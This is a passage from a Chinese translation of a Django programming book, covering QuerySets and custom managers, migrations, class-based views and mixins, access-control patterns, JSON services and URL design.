QuerySets是一个非常强大的抽象。它们只在需要时进行延迟评估。因此,通过方法链接(一种流畅接口的形式)构建更长的QuerySets不会影响性能。

事实上,随着应用更多的过滤,结果数据集会变小。这通常会减少结果的内存消耗。

模型管理器是模型获取其QuerySet对象的便捷接口。换句话说,它们帮助你使用 Django 的 ORM 来访问底层数据库。事实上,管理器实际上是围绕QuerySet对象实现的非常薄的包装器。注意相同的接口:

>>> Post.objects.filter(posted_by__username="a")
[<Post: a: Hello World>, <Post: a: This is Private!>]

>>> Post.objects.get_queryset().filter(posted_by__username="a")
[<Post: a: Hello World>, <Post: a: This is Private!>]

Django 创建的默认管理器objects有几个方法,比如allfilterexclude,它们返回QuerySets。然而,它们只是对数据库的低级 API。

自定义管理器用于创建特定领域的高级 API。这不仅更易读,而且不受实现细节的影响。因此,你能够在更高层次上工作,与你的领域紧密建模。

我们之前的公共帖子示例可以很容易地转换为自定义管理器,如下所示:

# managers.py
from django.db.models.query import QuerySet

class PostQuerySet(QuerySet):
    def public_posts(self):
        return self.filter(privacy="public")

PostManager = PostQuerySet.as_manager

这个方便的快捷方式用于从QuerySet对象创建自定义管理器,出现在 Django 1.7 中。与以往的方法不同,这个PostManager对象可以像默认的objects管理器一样进行链式操作。

有时候,用我们的自定义管理器替换默认的objects管理器是有意义的,就像下面的代码所示:

from .managers import PostManager
class Post(Postable):
    ...
    objects = PostManager()

通过这样做,我们的代码可以更简化地访问public_posts如下:

public = Post.objects.public_posts()

由于返回的值是一个QuerySet,它们可以进一步过滤:

public_apology = Post.objects.public_posts().filter(
                  message_startswith="Sorry")

QuerySets有几个有趣的属性。在接下来的几节中,我们可以看一下涉及组合QuerySets的一些常见模式。

对 QuerySets 进行集合操作

忠于它们的名字(或名字的后半部分),QuerySets支持许多(数学)集合操作。为了举例说明,考虑包含用户对象的两个QuerySets

>>> q1 = User.objects.filter(username__in=["a", "b", "c"])
[<User: a>, <User: b>, <User: c>]
>>> q2 = User.objects.filter(username__in=["c", "d"])
[<User: c>, <User: d>]

你可以对它们执行的一些集合操作如下:

  • 并集:这将组合并移除重复项。使用q1 | q2得到[<User: a>, <User: b>, <User: c>, <User: d>]

  • 交集:这找到共同的项目。使用q1q2得到[<User: c>]

  • 差集:这将从第一个集合中移除第二个集合中的元素。没有逻辑运算符。而是使用q1.exclude(pk__in=q2)得到[<User: a>, <User: b>]

使用Q对象也可以执行相同的操作:

from django.db.models import Q

# Union
>>> User.objects.filter(Q(username__in=["a", "b", "c"]) | Q(username__in=["c", "d"]))
[<User: a>, <User: b>, <User: c>, <User: d>]

# Intersection
>>> User.objects.filter(Q(username__in=["a", "b", "c"]) & Q(username__in=["c", "d"]))
[<User: c>]

# Difference
>>> User.objects.filter(Q(username__in=["a", "b", "c"]) & ~Q(username__in=["c", "d"]))
[<User: a>, <User: b>]

请注意,差异是使用&(AND)和~(Negation)实现的。Q对象非常强大,可以用来构建非常复杂的查询。

然而,Set的类比并不完美。QuerySets与数学集合不同,是有序的。因此,在这方面它们更接近于 Python 的列表数据结构。

链式多个 QuerySets

到目前为止,我们已经组合了属于同一基类的相同类型的QuerySets。然而,我们可能需要组合来自不同模型的QuerySets并对它们执行操作。

例如,用户的活动时间线包含了他们所有的帖子和评论,按照时间顺序排列。以前的组合QuerySets的方法不起作用。一个天真的解决方案是将它们转换为列表,连接并对它们进行排序,就像这样:

>>>recent = list(posts)+list(comments)
>>>sorted(recent, key=lambda e: e.modified, reverse=True)[:3]
[<Post: user: Post1>, <Comment: user: Comment1>, <Post: user: Post0>] 

不幸的是,这个操作已经评估了惰性的QuerySets对象。两个列表的组合内存使用可能会很大。此外,将大型的QuerySets转换为列表可能会相当慢。

一个更好的解决方案使用迭代器来减少内存消耗。使用itertools.chain方法来组合多个QuerySets如下:

>>> from itertools import chain
>>> recent = chain(posts, comments)
>>> sorted(recent, key=lambda e: e.modified, reverse=True)[:3]

一旦评估了QuerySet,命中数据库的成本可能会相当高。因此,通过只执行将返回未评估的QuerySets的操作,尽可能地延迟它是很重要的。

提示

尽可能保持QuerySets未评估。

迁移

迁移帮助你自信地对模型进行更改。在 Django 1.7 中引入的迁移是开发工作流程中必不可少且易于使用的部分。

新的工作流程基本上如下:

  1. 第一次定义模型类时,你需要运行:
python manage.py makemigrations <app_label>

  1. 这将在app/migrations文件夹中创建迁移脚本。

  2. 在相同(开发)环境中运行以下命令:

python manage.py migrate <app_label>

这将把模型更改应用到数据库中。有时会有关于处理默认值、重命名等问题的提问。

  1. 将迁移脚本传播到其他环境。通常情况下,您的版本控制工具,例如 Git,会处理这个问题。当最新的源代码被检出时,新的迁移脚本也会出现。

  2. 在这些环境中运行以下命令以应用模型更改:

python manage.py migrate <app_label>

  1. 无论何时您对模型类进行更改,都要重复步骤 1-5。

如果在命令中省略了应用标签,Django 将会在每个应用中找到未应用的更改并进行迁移。

总结

模型设计很难做到完美。然而,对于 Django 开发来说,这是基础性的。在本章中,我们看了几种处理模型时常见的模式。在每种情况下,我们都看了提议解决方案的影响以及各种权衡。

在下一章中,我们将研究在处理视图和 URL 配置时遇到的常见设计模式。

第四章:视图和 URL

在本章中,我们将讨论以下主题:

  • 基于类和基于函数的视图

  • 混合

  • 装饰器

  • 常见的视图模式

  • 设计 URL

从顶部看视图

在 Django 中,视图被定义为一个可调用的函数,它接受一个请求并返回一个响应。它通常是一个带有特殊类方法(如as_view())的函数或类。

在这两种情况下,我们创建一个普通的 Python 函数,它以HTTPRequest作为第一个参数,并返回一个HTTPResponseURLConf也可以向该函数传递其他参数。这些参数可以从 URL 的部分捕获或设置为默认值。

一个简单的视图如下所示:

# In views.py
from django.http import HttpResponse

def hello_fn(request, name="World"):
    return HttpResponse("Hello {}!".format(name))

我们的两行视图函数非常简单易懂。我们目前没有对request参数执行任何操作。我们可以检查请求以更好地理解调用视图的上下文,例如通过查看GET/POST参数、URI 路径或 HTTP 头部(如REMOTE_ADDR)。

它在URLConf中对应的行如下:

# In urls.py
    url(r'^hello-fn/(?P<name>\w+)/$', views.hello_fn),
    url(r'^hello-fn/$', views.hello_fn),

我们正在重用相同的视图函数来支持两个 URL 模式。第一个模式需要一个名称参数。第二个模式不从 URL 中获取任何参数,视图函数将在这种情况下使用World的默认名称。

视图变得更加优雅

基于类的视图是在 Django 1.4 中引入的。以下是将先前的视图重写为功能等效的基于类的视图的样子:

from django.views.generic import View
class HelloView(View):
    def get(self, request, name="World"):
        return HttpResponse("Hello {}!".format(name))

同样,相应的URLConf将有两行,如下命令所示:

# In urls.py
    url(r'^hello-cl/(?P<name>\w+)/$', views.HelloView.as_view()),
    url(r'^hello-cl/$', views.HelloView.as_view()),

这个view类与我们之前的视图函数之间有一些有趣的区别。最明显的区别是我们需要定义一个类。接下来,我们明确地定义我们只处理GET请求。之前的视图函数对于GETPOST或任何其他 HTTP 动词都会给出相同的响应,如下所示,使用 Django shell 中的测试客户端的命令:

>>> from django.test import Client
>>> c = Client()

>>> c.get("http://0.0.0.0:8000/hello-fn/").content
b'Hello World!'

>>> c.post("http://0.0.0.0:8000/hello-fn/").content
b'Hello World!'

>>> c.get("http://0.0.0.0:8000/hello-cl/").content
b'Hello World!'

>>> c.post("http://0.0.0.0:8000/hello-cl/").content
b''

从安全性和可维护性的角度来看,明确是好的。

使用类的优势在于需要自定义视图时会变得很明显。比如,您需要更改问候语和默认名称。然后,您可以编写一个通用视图类来适应任何类型的问候,并派生您的特定问候类如下:

class GreetView(View):
    greeting = "Hello {}!"
    default_name = "World"
    def get(self, request, **kwargs):
        name = kwargs.pop("name", self.default_name)
        return HttpResponse(self.greeting.format(name))

class SuperVillainView(GreetView):
    greeting = "We are the future, {}. Not them. "
    default_name = "my friend"

现在,URLConf将引用派生类:

# In urls.py
    url(r'^hello-su/(?P<name>\w+)/$', views.SuperVillainView.as_view()),
    url(r'^hello-su/$', views.SuperVillainView.as_view()),

虽然以类似的方式自定义视图函数并非不可能,但您需要添加几个带有默认值的关键字参数。这可能很快变得难以管理。这正是通用视图从视图函数迁移到基于类的视图的原因。

注意

Django Unchained

在寻找优秀的 Django 开发人员花了 2 周后,史蒂夫开始打破常规。注意到最近黑客马拉松的巨大成功,他和哈特在 S.H.I.M 组织了一个 Django Unchained 比赛。规则很简单——每天构建一个 Web 应用程序。它可以很简单,但你不能跳过一天或打破链条。谁创建了最长的链条,谁就赢了。

获胜者——布拉德·扎尼真是个惊喜。作为一个传统的设计师,几乎没有任何编程背景,他曾经参加了为期一周的 Django 培训,只是为了好玩。他设法创建了一个由 21 个 Django 站点组成的不间断链条,大部分是从零开始。

第二天,史蒂夫在他的办公室安排了一个 10 点的会议。虽然布拉德不知道,但这将是他的招聘面试。在预定的时间,有轻轻的敲门声,一个二十多岁的瘦削有胡须的男人走了进来。

当他们交谈时,布拉德毫不掩饰他不是程序员这一事实。事实上,他根本不需要假装。透过他那副厚框眼镜,透过他那宁静的蓝色眼睛,他解释说他的秘诀非常简单——获得灵感,然后专注。

他过去每天都以一个简单的线框开始。然后,他会使用 Twitter bootstrap 模板创建一个空的 Django 项目。他发现 Django 的基于类的通用视图是以几乎没有代码创建视图的绝佳方式。有时,他会从 Django-braces 中使用一个或两个 mixin。他还喜欢通过管理界面在移动中添加数据。

他最喜欢的项目是 Labyrinth——一个伪装成棒球论坛的蜜罐。他甚至设法诱捕了一些搜寻易受攻击站点的监视机器人。当史蒂夫解释了 SuperBook 项目时,他非常乐意接受这个提议。创建一个星际社交网络的想法真的让他着迷。

通过更多的挖掘,史蒂夫能够在 S.H.I.M 中找到半打像布拉德这样有趣的个人资料。他得知,他应该首先在组织内部搜索,而不是寻找外部。

基于类的通用视图

基于类的通用视图通常以面向对象的方式实现(模板方法模式)以实现更好的重用。我讨厌术语通用视图。我宁愿称它们为库存视图。就像库存照片一样,您可以在稍微调整的情况下用于许多常见需求。

通用视图是因为 Django 开发人员觉得他们在每个项目中都在重新创建相同类型的视图。几乎每个项目都需要显示对象列表(ListView),对象的详细信息(DetailView)或用于创建对象的表单(CreateView)的页面。为了遵循 DRY 原则,这些可重用的视图与 Django 捆绑在一起。

Django 1.7 中通用视图的方便表格如下:

类型 类名 描述
基类 View 这是所有视图的父类。它执行分发和健全性检查。
基类 TemplateView 这呈现模板。它将URLConf关键字暴露到上下文中。
基类 RedirectView 这在任何GET请求上重定向。
列表 ListView 这呈现任何可迭代的项目,例如queryset
详细 DetailView 这根据URLConf中的pkslug呈现项目。
编辑 FormView 这呈现并处理表单。
编辑 CreateView 这呈现并处理用于创建新对象的表单。
编辑 UpdateView 这呈现并处理用于更新对象的表单。
编辑 DeleteView 这呈现并处理用于删除对象的表单。
日期 ArchiveIndexView 这呈现具有日期字段的对象列表,最新的对象排在第一位。
日期 YearArchiveView 这在URLConf中给出的year上呈现对象列表。
日期 MonthArchiveView 这在yearmonth上呈现对象列表。
日期 WeekArchiveView 这在yearweek号上呈现对象列表。
日期 DayArchiveView 这在yearmonthday上呈现对象列表。
日期 TodayArchiveView 这在今天的日期上呈现对象列表。
日期 DateDetailView 这根据其pkslugyearmonthday上呈现对象。

我们没有提到诸如BaseDetailView之类的基类或SingleObjectMixin之类的混合类。它们被设计为父类。在大多数情况下,您不会直接使用它们。

大多数人混淆了基于类的视图和基于类的通用视图。它们的名称相似,但它们并不是相同的东西。这导致了一些有趣的误解,如下所示:

  • Django 捆绑的唯一通用视图:幸运的是,这是错误的。提供的基于类的通用视图中没有特殊的魔法。

您可以自由地编写自己的通用基于类的视图集。您还可以使用第三方库,比如django-vanilla-viewsdjango-vanilla-views.org/),它具有标准通用视图的更简单的实现。请记住,使用自定义通用视图可能会使您的代码对他人来说变得陌生。

  • 基于类的视图必须始终派生自通用视图:同样,通用视图类并没有什么神奇之处。虽然 90%的时间,您会发现像View这样的通用类非常适合用作基类,但您可以自由地自己实现类似的功能。

视图混入

混入是类基视图中 DRY 代码的本质。与模型混入一样,视图混入利用 Python 的多重继承来轻松重用功能块。它们通常是 Python 3 中没有父类的类(或者在 Python 2 中从object派生,因为它们是新式类)。

混入在明确定义的位置拦截视图的处理。例如,大多数通用视图使用get_context_data来设置上下文字典。这是插入额外上下文的好地方,比如一个feed变量,指向用户可以查看的所有帖子,如下命令所示:

class FeedMixin(object):
    def get_context_data(self, **kwargs):
        context = super().get_context_data(**kwargs)
        context["feed"] = models.Post.objects.viewable_posts(self.request.user)
        return context

get_context_data方法首先通过调用所有基类中的同名方法来填充上下文。接下来,它使用feed变量更新上下文字典。

现在,可以很容易地使用这个混入来通过将其包含在基类列表中来添加用户的 feed。比如,如果 SuperBook 需要一个典型的社交网络主页,其中包括一个创建新帖子的表单,然后是您的 feed,那么可以使用这个混入如下:

class MyFeed(FeedMixin, generic.CreateView):
    model = models.Post
    template_name = "myfeed.html"
    success_url = reverse_lazy("my_feed")

一个写得很好的混入几乎没有要求。它应该灵活,以便在大多数情况下都能派上用场。在前面的例子中,FeedMixin将覆盖派生类中的feed上下文变量。如果父类使用feed作为上下文变量,那么它可能会受到包含此混入的影响。因此,使上下文变量可定制会更有用(这留给您作为练习)。

混入能够与其他类结合是它们最大的优势和劣势。使用错误的组合可能导致奇怪的结果。因此,在使用混入之前,您需要检查混入和其他类的源代码,以确保没有方法或上下文变量冲突。

混入的顺序

您可能已经遇到了包含几个混入的代码,如下所示:

class ComplexView(MyMixin, YourMixin, AccessMixin, DetailView):

确定列出基类的顺序可能会变得非常棘手。就像 Django 中的大多数事情一样,通常适用 Python 的正常规则。Python 的方法解析顺序MRO)决定了它们应该如何排列。

简而言之,混入首先出现,基类最后出现。父类越专业,它就越向左移动。在实践中,这是您需要记住的唯一规则。

要理解为什么这样做,请考虑以下简单的例子:

class A:
    def do(self):
        print("A")

class B:
    def do(self):
        print("B")

class BA(B, A):
    pass

class AB(A, B):
    pass

BA().do() # Prints B
AB().do() # Prints A

正如您所期望的,如果在基类列表中提到BA之前,那么将调用B的方法,反之亦然。

现在想象A是一个基类,比如CreateViewB是一个混入,比如FeedMixin。混入是对基类基本功能的增强。因此,混入代码应该首先执行,然后根据需要调用基本方法。因此,正确的顺序是BA(混入在前,基类在后)。

调用基类的顺序可以通过检查类的__mro__属性来确定:

>>> AB.__mro__
 (__main__.AB, __main__.A, __main__.B, object)

因此,如果AB调用super(),首先会调用A;然后,Asuper()将调用B,依此类推。

提示

Python 的 MRO 通常遵循深度优先,从左到右的顺序来选择类层次结构中的方法。更多细节可以在www.python.org/download/releases/2.3/mro/找到。

装饰器

在类视图之前,装饰器是改变基于函数的视图行为的唯一方法。作为函数的包装器,它们不能改变视图的内部工作,因此有效地将它们视为黑匣子。

装饰器是一个接受函数并返回装饰函数的函数。感到困惑?有一些语法糖可以帮助你。使用注解符号@,如下面的login_required装饰器示例所示:

@login_required
def simple_view(request):
    return HttpResponse()

以下代码与上面完全相同:

def simple_view(request):
    return HttpResponse()

simple_view = login_required(simple_view)

由于login_required包装了视图,所以包装函数首先获得控制权。如果用户未登录,则重定向到settings.LOGIN_URL。否则,它执行simple_view,就好像它不存在一样。

装饰器不如 mixin 灵活。但它们更简单。在 Django 中,您可以同时使用装饰器和 mixin。实际上,许多 mixin 都是用装饰器实现的。

视图模式

让我们看一些在设计视图中看到的常见设计模式。

模式 - 受控访问视图

问题:页面需要根据用户是否已登录、是否为工作人员或任何其他条件有条件地访问。

解决方案:使用 mixin 或装饰器来控制对视图的访问。

问题详情

大多数网站有一些只有在登录后才能访问的页面。其他一些页面对匿名或公共访问者开放。如果匿名访问者尝试访问需要登录用户的页面,则可能会被路由到登录页面。理想情况下,登录后,他们应该被路由回到他们最初希望看到的页面。

同样,有些页面只能由某些用户组看到。例如,Django 的管理界面只对工作人员可访问。如果非工作人员用户尝试访问管理页面,他们将被路由到登录页面。

最后,有些页面只有在满足某些条件时才能访问。例如,只有帖子的创建者才能编辑帖子。其他任何人访问此页面都应该看到权限被拒绝的错误。

解决方案详情

有两种方法可以控制对视图的访问:

  1. 通过在基于函数的视图或基于类的视图上使用装饰器:
@login_required(MyView.as_view())
  1. 通过 mixin 重写类视图的dispatch方法:
from django.utils.decorators import method_decorator

class LoginRequiredMixin:
    @method_decorator(login_required)
    def dispatch(self, request, *args, **kwargs):
        return super().dispatch(request, *args, **kwargs)

我们这里真的不需要装饰器。推荐更明确的形式如下:

class LoginRequiredMixin:

    def dispatch(self, request, *args, **kwargs):
        if not request.user.is_authenticated():
            raise PermissionDenied
        return super().dispatch(request, *args, **kwargs)

当引发PermissionDenied异常时,Django 会在您的根目录中显示403.html模板,或者在其缺失时显示标准的“403 Forbidden”页面。

当然,对于真实项目,您需要一个更健壮和可定制的 mixin 集。django-braces包(github.com/brack3t/django-braces)有一套出色的 mixin,特别是用于控制对视图的访问。

以下是使用它们来控制登录和匿名视图的示例:

from braces.views import LoginRequiredMixin, AnonymousRequiredMixin

class UserProfileView(LoginRequiredMixin, DetailView):
    # This view will be seen only if you are logged-in
    pass  

class LoginFormView(AnonymousRequiredMixin, FormView):
    # This view will NOT be seen if you are loggedin
    authenticated_redirect_url = "/feed"

Django 中的工作人员是在用户模型中设置了is_staff标志的用户。同样,您可以使用一个名为UserPassesTestMixin的 django-braces mixin,如下所示:

from braces.views import UserPassesTestMixin

class SomeStaffView(UserPassesTestMixin, TemplateView):
    def test_func(self, user):
        return user.is_staff

您还可以创建 mixin 来执行特定的检查,比如对象是否正在被其作者编辑(通过与登录用户进行比较):

class CheckOwnerMixin:

    # To be used with classes derived from SingleObjectMixin
    def get_object(self, queryset=None):
        obj = super().get_object(queryset)
        if not obj.owner == self.request.user:
            raise PermissionDenied
        return obj

模式 - 上下文增强器

问题:基于通用视图的几个视图需要相同的上下文变量。

解决方案:创建一个设置共享上下文变量的 mixin。

问题详情

Django 模板只能显示存在于其上下文字典中的变量。然而,站点需要在多个页面中具有相同的信息。例如,侧边栏显示您的动态中最近的帖子可能需要在多个视图中使用。

然而,如果我们使用通用的基于类的视图,通常会有一组与特定模型相关的有限上下文变量。在每个视图中设置相同的上下文变量并不符合 DRY 原则。

解决方案详情

大多数通用的基于类的视图都是从ContextMixin派生的。它提供了get_context_data方法,大多数类都会重写这个方法,以添加他们自己的上下文变量。在重写这个方法时,作为最佳实践,您需要首先调用超类的get_context_data,然后添加或覆盖您的上下文变量。

我们可以将这个抽象成一个 mixin 的形式,就像我们之前看到的那样:

class FeedMixin(object):

    def get_context_data(self, **kwargs):
        context = super().get_context_data(**kwargs)
        context["feed"] = models.Post.objects.viewable_posts(self.request.user)
        return context

我们可以将这个 mixin 添加到我们的视图中,并在我们的模板中使用添加的上下文变量。请注意,我们正在使用第三章中定义的模型管理器,模型,来过滤帖子。

一个更一般的解决方案是使用django-braces中的StaticContextMixin来处理静态上下文变量。例如,我们可以添加一个额外的上下文变量latest_profile,其中包含最新加入站点的用户:

class CtxView(StaticContextMixin, generic.TemplateView):
    template_name = "ctx.html"
    static_context = {"latest_profile": Profile.objects.latest('pk')}

在这里,静态上下文意味着任何从一个请求到另一个请求都没有改变的东西。在这种意义上,您也可以提到QuerySets。然而,我们的feed上下文变量需要self.request.user来检索用户可查看的帖子。因此,在这里不能将其包括为静态上下文。

模式 - 服务

问题:您网站的信息经常被其他应用程序抓取和处理。

解决方案:创建轻量级服务,以机器友好的格式返回数据,如 JSON 或 XML。

问题细节

我们经常忘记网站不仅仅是人类使用的。网站流量的很大一部分来自其他程序,如爬虫、机器人或抓取器。有时,您需要自己编写这样的程序来从另一个网站提取信息。

通常,为人类消费而设计的页面对机械提取来说很麻烦。HTML 页面中的信息被标记包围,需要进行大量的清理。有时,信息会分散,需要进行大量的数据整理和转换。

在这种情况下,机器接口将是理想的。您不仅可以减少提取信息的麻烦,还可以实现混搭。如果应用程序的功能以机器友好的方式暴露,其功能的持久性将大大增加。

解决方案细节

面向服务的架构SOA)已经推广了服务的概念。服务是向其他应用程序公开的一个独特的功能块。例如,Twitter 提供了一个返回最新公共状态的服务。

一个服务必须遵循一定的基本原则:

  • 无状态性:这避免了通过外部化状态信息来避免内部状态

  • 松耦合:这样可以减少依赖和假设的最小数量

  • 可组合的:这应该很容易重用并与其他服务组合

在 Django 中,您可以创建一个基本的服务,而无需任何第三方包。您可以返回 JSON 格式的序列化数据,而不是返回 HTML。这种形式的服务通常被称为 Web 应用程序编程接口(API)。

例如,我们可以创建一个简单的服务,返回 SuperBook 中最近的五篇公共帖子:

class PublicPostJSONView(generic.View):

    def get(self, request, *args, **kwargs):
        msgs = models.Post.objects.public_posts().values(
            "posted_by_id", "message")[:5]
        return HttpResponse(list(msgs), content_type="application/json")

为了更可重用的实现,您可以使用django-braces中的JSONResponseMixin类,使用其render_json_response方法返回 JSON:

from braces.views import JSONResponseMixin

class PublicPostJSONView(JSONResponseMixin, generic.View):

    def get(self, request, *args, **kwargs):
        msgs = models.Post.objects.public_posts().values(
            "posted_by_id", "message")[:5]
        return self.render_json_response(list(msgs))

如果我们尝试检索这个视图,我们将得到一个 JSON 字符串,而不是 HTML 响应:

>>> from django.test import Client
>>> Client().get("http://0.0.0.0:8000/public/").content
b'{"posted_by_id": 23, "message": "Hello!"},
 {"posted_by_id": 13, "message": "Feeling happy"},
 ...

请注意,我们不能直接将QuerySet方法传递给 JSON 响应。它必须是一个列表、字典或任何其他基本的 Python 内置数据类型,被 JSON 序列化器识别。

当然,如果您需要构建比这个简单 API 更复杂的东西,您将需要使用诸如 Django REST 框架之类的包。 Django REST 框架负责序列化(和反序列化)QuerySets,身份验证,生成可在 Web 上浏览的 API,以及许多其他必要功能,以创建一个强大而完整的 API。

设计 URL

Django 拥有最灵活的 Web 框架之一。基本上,没有暗示的 URL 方案。您可以使用适当的正则表达式明确定义任何 URL 方案。

然而,正如超级英雄们喜欢说的那样——“伴随着伟大的力量而来的是巨大的责任。”您不能再随意设计 URL。

URL 曾经很丑陋,因为人们认为用户会忽略它们。在 90 年代,门户网站流行时,普遍的假设是您的用户将通过前门,也就是主页进入。他们将通过点击链接导航到网站的其他页面。

搜索引擎已经改变了这一切。根据 2013 年的一份研究报告,近一半(47%)的访问来源于搜索引擎。这意味着您网站中的任何页面,根据搜索相关性和受欢迎程度,都可能成为用户看到的第一个页面。任何 URL 都可能是前门。

更重要的是,浏览 101 教会了我们安全。我们警告初学者不要在网上点击蓝色链接。先读 URL。这真的是您银行的 URL 还是一个试图钓取您登录详细信息的网站?

如今,URL 已经成为用户界面的一部分。它们被看到,复制,分享,甚至编辑。让它们看起来好看且一目了然。不再有眼睛的疼痛,比如:

http://example.com/gallery/default.asp?sid=9DF4BC0280DF12D3ACB60090271E26A8&command=commntform

短而有意义的 URL 不仅受到用户的欣赏,也受到搜索引擎的欢迎。长且与内容相关性较低的 URL 会对您的网站搜索引擎排名产生不利影响。

最后,正如“酷炫的 URI 不会改变”所暗示的,您应该尽量保持 URL 结构随时间的稳定。即使您的网站完全重新设计,您的旧链接仍应该有效。Django 可以轻松确保如此。

在我们深入了解设计 URL 的细节之前,我们需要了解 URL 的结构。

URL 解剖

从技术上讲,URL 属于更一般的标识符家族,称为统一资源标识符(URI)。因此,URL 的结构与 URI 相同。

URI 由几个部分组成:

URI = 方案 + 网络位置 + 路径 + 查询 + 片段

例如,可以使用urlparse函数在 Python 中解构 URI(http://dev.example.com:80/gallery/videos?id=217#comments):

>>> from urllib.parse import urlparse
>>> urlparse("http://dev.example.com:80/gallery/videos?id=217#comments")
ParseResult(scheme='http', netloc='dev.example.com:80', path='/gallery/videos', params='', query='id=217', fragment='comments')

URI 的各个部分可以以图形方式表示如下:

![URL 解剖

尽管 Django 文档更喜欢使用术语 URLs,但更准确地说,您大部分时间都在使用 URI。在本书中,我们将这些术语互换使用。

Django URL 模式主要涉及 URI 的“路径”部分。所有其他部分都被隐藏起来。

urls.py 中发生了什么?

通常有助于将urls.py视为项目的入口点。当我研究 Django 项目时,这通常是我打开的第一个文件。基本上,urls.py包含整个项目的根 URL 配置或URLConf

它将是从patterns返回的 Python 列表,分配给名为urlpatterns的全局变量。每个传入的 URL 都会与顺序中的每个模式进行匹配。在第一次匹配时,搜索停止,并且请求被发送到相应的视图。

这里,是从Python.orgurls.py中的一个摘录,最近在 Django 中重新编写:

urlpatterns = patterns(
    '',
    # Homepage
    url(r'^$', views.IndexView.as_view(), name='home'),
    # About
    url(r'^about/$',
        TemplateView.as_view(template_name="python/about.html"),
        name='about'),
    # Blog URLs
    url(r'^blogs/', include('blogs.urls', namespace='blog')),
    # Job archive
    url(r'^jobs/(?P<pk>\d+)/$',
        views.JobArchive.as_view(),
        name='job_archive'),
    # Admin
    url(r'^admin/', include(admin.site.urls)),
)

这里需要注意的一些有趣的事情如下:

  • patterns函数的第一个参数是前缀。对于根URLConf,通常为空。其余参数都是 URL 模式。

  • 每个 URL 模式都是使用url函数创建的,该函数需要五个参数。大多数模式有三个参数:正则表达式模式,视图可调用和视图的名称。

  • about模式通过直接实例化TemplateView来定义视图。有些人讨厌这种风格,因为它提到了实现,从而违反了关注点的分离。

  • 博客 URL 在其他地方提到,特别是在 blogs 应用程序的urls.py中。一般来说,将应用程序的 URL 模式分离成自己的文件是一个很好的做法。

  • jobs模式是这里唯一的一个命名正则表达式的例子。

在未来的 Django 版本中,urlpatterns应该是一个 URL 模式对象的普通列表,而不是patterns函数的参数。这对于有很多模式的站点来说很棒,因为urlpatterns作为一个函数只能接受最多 255 个参数。

如果你是 Python 正则表达式的新手,你可能会觉得模式语法有点神秘。让我们试着揭开它的神秘面纱。

URL 模式语法

URL 正则表达式模式有时看起来像一团令人困惑的标点符号。然而,像 Django 中的大多数东西一样,它只是普通的 Python。

通过了解 URL 模式的两个功能,可以很容易地理解它:匹配以某种形式出现的 URL,并从 URL 中提取有趣的部分。

第一部分很容易。如果你需要匹配一个路径,比如/jobs/1234,那么只需使用"^jobs/\d+"模式(这里\d代表从 0 到 9 的单个数字)。忽略前导斜杠,因为它会被吞掉。

第二部分很有趣,因为在我们的例子中,有两种提取作业 ID(即1234)的方法,这是视图所需的。

最简单的方法是在要捕获的每组值周围放括号。每个值将作为位置参数传递给视图。例如,"^jobs/(\d+)"模式将把值"1234"作为第二个参数(第一个是请求)发送给视图。

位置参数的问题在于很容易混淆顺序。因此,我们有基于名称的参数,其中每个捕获的值都可以被命名。我们的例子现在看起来像"^jobs/(?P<pk>\d+)/"。这意味着视图将被调用,关键字参数pk等于"1234"。

如果你有一个基于类的视图,你可以在self.args中访问你的位置参数,在self.kwargs中访问基于名称的参数。许多通用视图期望它们的参数仅作为基于名称的参数,例如self.kwargs["slug"]

记忆法-父母质疑粉色动作人物

我承认基于名称的参数的语法很难记住。我经常使用一个简单的记忆法作为记忆助手。短语“Parents Question Pink Action-figures”代表括号、问号、(字母)P 和尖括号的首字母。

把它们放在一起,你会得到(?P<。你可以输入模式的名称,然后自己找出剩下的部分。

这是一个很方便的技巧,而且很容易记住。想象一下一个愤怒的父母拿着一个粉色的浩克动作人物。

另一个提示是使用在线正则表达式生成器,比如pythex.org/www.debuggex.com/来制作和测试你的正则表达式。

名称和命名空间

总是给你的模式命名。这有助于将你的代码与确切的 URL 路径解耦。例如,在以前的URLConf中,如果你想重定向到about页面,可能会诱人地使用redirect("/about")。相反,使用redirect("about"),因为它使用名称而不是路径。

以下是一些反向查找的更多示例:

>>> from django.core.urlresolvers import reverse
>>> print(reverse("home"))
"/"
>>> print(reverse("job_archive", kwargs={"pk":"1234"}))
"jobs/1234/"

名称必须是唯一的。如果两个模式有相同的名称,它们将无法工作。因此,一些 Django 包用于向模式名称添加前缀。例如,一个名为 blog 的应用程序可能必须将其编辑视图称为'blog-edit',因为'edit'是一个常见的名称,可能会与另一个应用程序发生冲突。

命名空间是为了解决这类问题而创建的。在命名空间中使用的模式名称必须在该命名空间内是唯一的,而不是整个项目。建议您为每个应用程序都分配一个命名空间。例如,我们可以通过在根URLconf中包含此行来创建一个“blog”命名空间,其中只包括博客的 URL:

url(r'^blog/', include('blog.urls', namespace='blog')),

现在博客应用程序可以使用模式名称,比如“edit”或其他任何名称,只要它们在该应用程序内是唯一的。在引用命名空间内的名称时,您需要在名称之前提到命名空间,然后是“:”。在我们的例子中,它将是“blog:edit”。

正如 Python 之禅所说 - “命名空间是一个非常棒的想法 - 让我们做更多这样的事情。”如果这样做可以使您的模式名称更清晰,您可以创建嵌套的命名空间,比如“blog:comment:edit”。我强烈建议您在项目中使用命名空间。

模式顺序

按照 Django 处理它们的方式,即自上而下,对您的模式进行排序以利用它们。一个很好的经验法则是将所有特殊情况放在顶部。更广泛的模式可以在更下面提到。最广泛的 - 如果存在的话,可以放在最后。

例如,您的博客文章的路径可以是任何有效的字符集,但您可能希望单独处理关于页面。正确的模式顺序应该如下:

urlpatterns = patterns(
    '',
    url(r'^about/$', AboutView.as_view(), name='about'),
    url(r'^(?P<slug>\w+)/$', ArticleView.as_view(), name='article'),
)  

如果我们颠倒顺序,那么特殊情况AboutView将永远不会被调用。

URL 模式样式

一致地设计网站的 URL 很容易被忽视。设计良好的 URL 不仅可以合理地组织您的网站,还可以让用户猜测路径变得容易。设计不良的 URL 甚至可能构成安全风险:比如,在 URL 模式中使用数据库 ID(它以单调递增的整数序列出现)可能会增加信息窃取或网站剥离的风险。

让我们来看一些在设计 URL 时遵循的常见样式。

百货商店 URL

有些网站的布局就像百货商店。有一个食品区,里面有一个水果通道,通道里有不同种类的苹果摆在一起。

在 URL 的情况下,这意味着您将按以下层次结构找到这些页面:

http://site.com/ <section> / <sub-section> / <item>

这种布局的美妙之处在于很容易向上爬到父级部分。一旦删除斜杠后面的部分,您就会上升一个级别。

例如,您可以为文章部分创建一个类似的结构,如下所示:

# project's main urls.py
urlpatterns = patterns(
    '',
    url(r'^articles/$', include(articles.urls), namespace="articles"),
)

# articles/urls.py
urlpatterns = patterns(
    '',
